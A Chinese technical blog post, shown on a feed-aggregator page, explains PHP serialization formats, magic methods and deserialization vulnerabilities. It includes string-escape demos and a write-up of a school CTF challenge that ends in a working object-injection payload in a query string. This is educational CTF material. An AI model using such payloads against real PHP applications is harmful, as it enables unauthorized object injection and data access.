惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

大猫的无限游戏
大猫的无限游戏
Webroot Blog
Webroot Blog
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
T
Threat Research - Cisco Blogs
V2EX - 技术
V2EX - 技术
L
LINUX DO - 热门话题
Google DeepMind News
Google DeepMind News
Recorded Future
Recorded Future
S
Schneier on Security
I
InfoQ
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
The GitHub Blog
The GitHub Blog
S
Security @ Cisco Blogs
O
OpenAI News
W
WeLiveSecurity
Vercel News
Vercel News
阮一峰的网络日志
阮一峰的网络日志
Simon Willison's Weblog
Simon Willison's Weblog
人人都是产品经理
人人都是产品经理
Cloudbric
Cloudbric
The Last Watchdog
The Last Watchdog
The Hacker News
The Hacker News
Google Online Security Blog
Google Online Security Blog
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
GbyAI
GbyAI
NISL@THU
NISL@THU
T
Tailwind CSS Blog
V
Visual Studio Blog
PCI Perspectives
PCI Perspectives
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
Jina AI
Jina AI
D
DataBreaches.Net
B
Blog RSS Feed
N
News and Events Feed by Topic
N
News and Events Feed by Topic
H
Heimdal Security Blog
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
腾讯CDC
Latest news
Latest news
V
Vulnerabilities – Threatpost
Hacker News: Ask HN
Hacker News: Ask HN
WordPress大学
WordPress大学
V
V2EX
aimingoo的专栏
aimingoo的专栏
博客园 - 司徒正美
Apple Machine Learning Research
Apple Machine Learning Research
D
Darknet – Hacking Tools, Hacker News & Cyber Security
The Register - Security
The Register - Security
Help Net Security
Help Net Security

Yesterday17's Blog

2026 新年解密红包 / Melody Flag | Yesterday17's Blog 谈谈 Iori 的设计思路(二):如何实现一个 Showroom 录制工具? | Yesterday17's Blog 谈谈 Iori 的设计思路(一):从 Nico Timeshift 说起 | Yesterday17's Blog Iori Minyami 0.1.0 发布 | Yesterday17's Blog 2025 新年解密红包 / Melody Flag | Yesterday17's Blog 使用 Cloudflare Warp 解决罗森票务的海外登录问题 | Yesterday17's Blog How To Blog 04: The Astro v5 Era | Yesterday17's Blog 谈谈 tokio::select! 的公平性 | Yesterday17's Blog Learning Pingora 05 - Connect with TLS | Yesterday17's Blog Leaving Bytedance | Yesterday17's Blog 大橋彩香 AsiaTour「Reflection」上海公演 个人向记录 & Repo | Yesterday17's Blog Recoving from burnout - What happened? | Yesterday17 Yubikey 重建手册 | Yesterday17's Blog How To Blog 03: Heimus | Yesterday17's Blog 🪧 Blog Migration Accouncement | Yesterday17's Blog Learn Your IDE - VSCode 是如何仅重启插件的? | Yesterday17's Blog How To Blog 02: Astro❤️Password | Yesterday17's Blog How To Blog 01: Why, How, and the Future | Yesterday17's Blog Learning Pingora 04 - Establish L4 Connection | Yesterday17's Blog Learning Pingora 03 - Upstreams and Peers | Yesterday17's Blog Learning Pingora 02 - A Simple HTTP Server | Yesterday17's Blog Learning Pingora 01 - Getting Started | Yesterday17's Blog 2024 新年解密红包 / Melody Flag | Yesterday17's Blog 向新的一年飞驰——记录 2023 | Yesterday17's Blog 「サクラノ刻」对话选摘(2) | Yesterday17's Blog PGP Key Revocation 注销声明 | Yesterday17's Blog 「サクラノ刻」对话选摘(1) | Yesterday17's Blog 2023 新年解密红包 / Melody Flag | Yesterday17's Blog 『蒼の彼方のフォーリズム』通关感想 | Yesterday17's Blog 单显卡直通教程 | Yesterday17's Blog 对博客与笔记的思考 | Yesterday17's Blog Project Anni 之旅(3)自动化 Flutter 应用 CI/CD 上架流程 | Yesterday17's Blog AsobiStage 直接播放链接 | Yesterday17 如何在后分P时代进行投稿——sswa使用详解 | Yesterday17's Blog JSON RPC 与 LSP 协议基础 | Yesterday17's Blog Grajapa Shueisha / BookEnd 加密方式调查 | Yesterday17's Blog 【2022篇+WriteUp】如何再收一个新年红包? | Yesterday17's Blog 如何将良心云的良心功能清理干净 | Yesterday17's Blog 【油猴脚本】bilibili 投稿页面返回旧版+旧版页面强制允许分P上传 | Yesterday17's Blog Cloudr1v1 授权方式分析 | Yesterday17 Typora 1.0.2 逆向实录 | Yesterday17's Blog Project Anni 之旅(2)ValueAfterTable——toml-rs的实现与限制 | Yesterday17's Blog IPv4透明代理+IPv6 Passthrough——树莓派单臂软路由折腾记 | Yesterday17's Blog Chaos; Child 汉化补丁 神秘编码探索 | Yesterday17's Blog 镣铐与舞蹈——个性与共性之迷思 | Yesterday17's Blog Go 学习笔记 02 - 找准 io 之道 | Yesterday17's Blog NAT Slipstreaming v1 原理浅析 | Yesterday17's Blog 绕过「9-nine-」的 CDKEY 验证——KrkrPlugin 正(?)向实录 | Yesterday17's Blog 静流的青春纪念册——「サクラノ刻 -櫻の森の下を歩む-」体验版感言 | Yesterday17's Blog Project Anni 之旅 01 - 从 clap-builder 到 derive | Yesterday17's Blog [Google CTF 2021] CPP WriteUp | Yesterday17's Blog 获取 アソビステージ 的实际播放链接 | Yesterday17's Blog 90 行 Rust 代码实现 AsyncTeeReader | Yesterday17's Blog 或许还算有价值一读的文章列表 | Yesterday17's Blog 从零开始的 Seedbox 之旅 | Yesterday17's Blog [随笔]技术型博客行文迷思(1) | Yesterday17's Blog 浅谈 git fetch 的工作方式 | Yesterday17's Blog 『ソーサレス*アライヴ! ~the World's End Fallen Star~』通关感想" | Yesterday17's Blog Rust std::fmt 格式语法简述 | Yesterday17's Blog 日亚修改居住国的解决方案 | Yesterday17's Blog [Windows/Linux] GC553 的 Switch 完美采集之路 | Yesterday17's Blog 【翻译】Subtyping and Variance / 子类型与变型 | Yesterday17's Blog Berd's Red Envelope 2021 WriteUp | Yesterday17's Blog 【中英对照】ALSA 音频 API 使用教程/A Tutorial on Using the ALSA Audio API | Yesterday17's Blog 从 cue_scanner.l 看 CUE Sheet 的词法单元 | Yesterday17's Blog Postman 历史记录导出的解决方案 | Yesterday17's Blog 《恋爱绮谭 不存在的夏天》通关感想 | Yesterday17's Blog [微机实验/TD-PITE] 微机接口综合实验 | Yesterday17's Blog [微机实验/TD-PITE] 键盘扫描及数码管显示实验 | Yesterday17's Blog [微机实验/TD-PITE] 数码管显示实验 | Yesterday17's Blog Airsonic Advanced+Google Drive+Caddy 部署纪实 | Yesterday17's Blog X-NUCA 2020 - hellowasm 题解 | Yesterday17's Blog [微机实验/TD-PITE] 8251 串行接口实验 | Yesterday17's Blog Node.js child_process.fork 与 env 污染 RCE | Yesterday17's Blog EP.01 「夜の向日葵」 | Yesterday17's Blog [微机实验/TD-PITE] 8254 定时/计数器实验+选做实验 | Yesterday17's Blog [JLU CTF/2020] babywasm WriteUp | Yesterday17's Blog WebAssembly 逆向简述 | Yesterday17's Blog 『彼女、お借りします』一期完结点评 | Yesterday17's Blog [微机实验/TD-PITE] D/A 转换实验+选做实验 | Yesterday17's Blog [微机实验/TD-PITE] A/D 转换实验+选做实验 | Yesterday17's Blog 开源项目申请 JetBrains Open Source License 简单流程 | Yesterday17's Blog 微软拼音与 JetBrains 搜索快捷键冲突的解决方案 | Yesterday17's Blog [微机实验/TD-PITE] 8259 中断优先级实验+选做实验 | Yesterday17's Blog IFTTT 测试(续) | Yesterday17 IFTTT 测试 | Yesterday17's Blog [微机实验/TD-PITE] 存储器扩展实验+选做实验 | Yesterday17's Blog 新版 GCC 针对 -fdump-translation-unit 的替代方案 | Yesterday17's Blog 一次 HSTS 策略配置的排错之旅 | Yesterday17's Blog YukiNative 踩坑记——Windows 的消息队列 | Yesterday17's Blog 我是我自己——论获取 HTTPS 证书时的验证步骤 | Yesterday17's Blog 【设计文档】对 PUG 的大规模设计修订(1.1) | Yesterday17's Blog GS65 折腾记(2)加装固态,分区,Grub2 引导 Manjaro LiveCD | Yesterday17's Blog 「さくら、もゆ。」的空白字体列表——一次逆向问题定位过程实录 | Yesterday17's Blog GSuite 探索篇(1)使用 Service Account 向 Google Drive 传输文件 | Yesterday17's Blog 『サクラノ詩 -櫻の森の上を舞う-』通关感想 | Yesterday17's Blog 《ATRI -My Dear Moments-》通关感想 | Yesterday17's Blog [工具][VSCode 扩展] AegiKit——方便 Aegisub 使用的工具箱 | Yesterday17's Blog 贝塞尔曲线、字体矢量化与曲线运算 | Yesterday17's Blog NAT 类型初探 | Yesterday17's Blog
PHP 反序列化与经典利用 | Yesterday17's Blog
Yesterday17 · 2020-10-11 · via Yesterday17's Blog

一直对 PHP 反序列化方面的内容似懂非懂,这次终于想着要好好梳理一下这方面的内容。

ToC

  • 概念
  • 序列化
    • 分隔符(结束符)
    • 基本类型
    • 数组类型
    • Class 类型
      • 前缀
      • 包裹符
      • public 成员
      • private 成员
      • protected 成员
      • 结果
    • 实现 Serializable 接口的类
  • 魔术方法
  • 反序列化漏洞
    • 基本
    • 字符逃逸
      • 变长
      • 变短
  • 参考

概念

我们知道,PHPserializeunserialize 这一对函数,前者负责序列化,后者负责反序列化。

序列化负责的是将 PHP 的对象序列化为字符串,而反序列化负责的则是将字符串转化回对象。

序列化

分隔符(结束符)

PHP 反序列化中最常见的分隔符就是分号(;。在需要表示多个值时,都会使用到分号以间隔数据。

基本类型

基本类型的转化关系如下所示:

PHP 值序列化值
NULLN
trueb:1
falseb:0
42(整数)i:42
114.514(浮点数)d:114.514
"rua"(字符串)s:3:"rua"
resource(资源类型)i:0

数组类型

PHP 的数组类型实质是键值对(key-value)的集合。

序列化开头以 a: 开始,表面是数组类型。

然后连接上数组的长度,以 len=3 的数组为例, 3:

接下来通过一对大括号表示包裹的内容,开始——{

然后是数组的内容,首先是 key,比如 i:0;接下来是 value,比如 s:"rua"

重复多次,最后结束——}

最后对应 ["rua", "233", "dd"] 的序列化结果就是 a:3:{i:0;s:3:"rua";i:1;s:3:"233";i:2;s:2:"dd";}

Class 类型

我们以这个类为例:

class Test {

public $public = 1;

protected $protected = 2;

private $private = 3;

}

可以发现,这个类里同时存在着 publicprivateprotected 的成员变量。PHP 的序列化对这三种成员的序列化方式不同。

前缀

和数组类型一样,Class 类型也存在前缀。前缀是 O:,后面紧跟的是类的名称4:"Test"

包裹符

和数组类型一样,Class 类型也需要通过一对大括号来包裹其成员。

public 成员

public 成员的序列化过程最简单,和数组类型的 key-value 相同。

private 成员

private 成员序列化时需要在 key 前增加 \0Test\0。其中 Test 是类名,而 \0 则是空字符。

protected 成员

protected 成员在序列化时需要在 key 前增加 \0*\0

结果

最后的结果如下:

O:4:"Test":3:{s:6:"public";i:1;s:12:"\0*\0protected";i:2;s:13:"\0Test\0private";i:3;}

实现 Serializable 接口的类

// TODO,没遇到过

魔术方法

PHP 中以双下划线(__)开头的方法称为魔术方法。在序列化中,用到的魔术方法为 __sleep;而在反序列化中,用到的魔术方法为 __wakeup

在反序列化的利用中,常常还会用到其他魔术方法。需要用到时查阅文档即可。

反序列化漏洞

基本

最基本的就是在反序列化之后执行了危险操作。这种类型的利用手段就是通过代码审计,找到利用方法即可。

字符逃逸

字符逃逸是指在序列化有,修改了反序列化的内容,导致代表字符串长度的数据和字符串的实际长度不相符。

根据修改后的长度比修改前长/短,可以分为变短和变长两类。

变长

字符串变长意味着可以通过一个字符串字段实现反序列化内容的逃逸。以下列代码为例:

<?php

class Test{

public $a;

public $b;

public $c;

}

$t = new Test;

$t->a=1;

$t->b='xxxxxxxxxxxxxxxxxxxxxx";s:1:"c";s:4:"dddd";}';

$s = serialize($t);

var_dump($s);

$r=preg_replace('/x/', 'xx', $s);

var_dump($r);

var_dump(unserialize($r));

最后的 var_dump 输出为:

class Test#2 (3) {

public $a =>

int(1)

public $b =>

string(44) "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"

public $c =>

string(4) "dddd"

}

可以看到,最后 c 的值被覆盖成了 dddd。观察 payload,不难发现 xxxxxxxxxxxxxxxxxxxxxx";s:1:"c";s:4:"dddd";} 的长度就是 44,但由于 x 被替换成了 xx,导致需要反序列化的字符串变成了 O:4:"Test":3:{s:1:"a";i:1;s:1:"b";s:44:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:1:"c";s:4:"dddd";}";s:1:"c";N;}。而当大括号闭合后,反序列化结束。因此最后的 ";s:1:"c";N;} 被忽略,逃逸成功。

变短

字符串变短意味着需要通过两个字符串字段实现内容的逃逸。以这次校选拔赛的 web6_serialize_2 为例:

<?php

show_source(__FILE__);

include "flag.php";

function waf($str){

$str = str_replace('flag','',$str); // 替换flag 字符串

return $str;

}

class A{

public $username ;

public $password ;

function __construct($a,$b)

{

$this->username = $a;

$this->password = $b;

}

}

class B{

public $filename;

function __construct($filename){

$this->filename=$filename ;

}

function __destruct()

{

if($this->filename == 'flag.php'){

global $flag;

echo $flag;

}

}

}

$a = new A(@$_GET['a'],@$_GET['b']);

$e = serialize($a);

$e = waf($e);

$d = unserialize($e);

可以看到,题目替换了 flag 字符串,将长度为 4 的字符串替换为长度为 0,导致字符逃逸。

不难发现,我们需要构造的是 B 的实例,同时满足 filename == 'flag.php'。字符串变短意味着反序列化过程在会把当前字段之后的部分当作当前字段的值处理,因此需要配合另一个字段实现内容的补全。

我们在需要在 a 中放入 n 个 flag,而对于正常的反序列化字符串,我们需要补全 ";s:8:"password";s:1:。由于一次减少的字符是 4 个,因此我们需要将补全的字符串长度整理为 4 的倍数。这里我们整理成 ";s:8:"password";s:1000:,即 24 字符,在 a 中放入 6 个 flag

而在 b 中,我们需要补全之前被填充而不被记为反序列化的部分,并且在 password 中存入 B 的实例。这里需要绕过 filename == 'flag.php',因此这里通过 0 == 'string' 的弱类型特性进行绕过。

最终的 payload 如下所示:

?a=flagflagflagflagflagflag&b=;s:8:"password";O:1:"B":1:{s:8:"filename";i:0;};}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

(虽然不是预期解

参考

  1. Serialization — PHP Internals Book
  2. PHP: 魔术方法 - Manual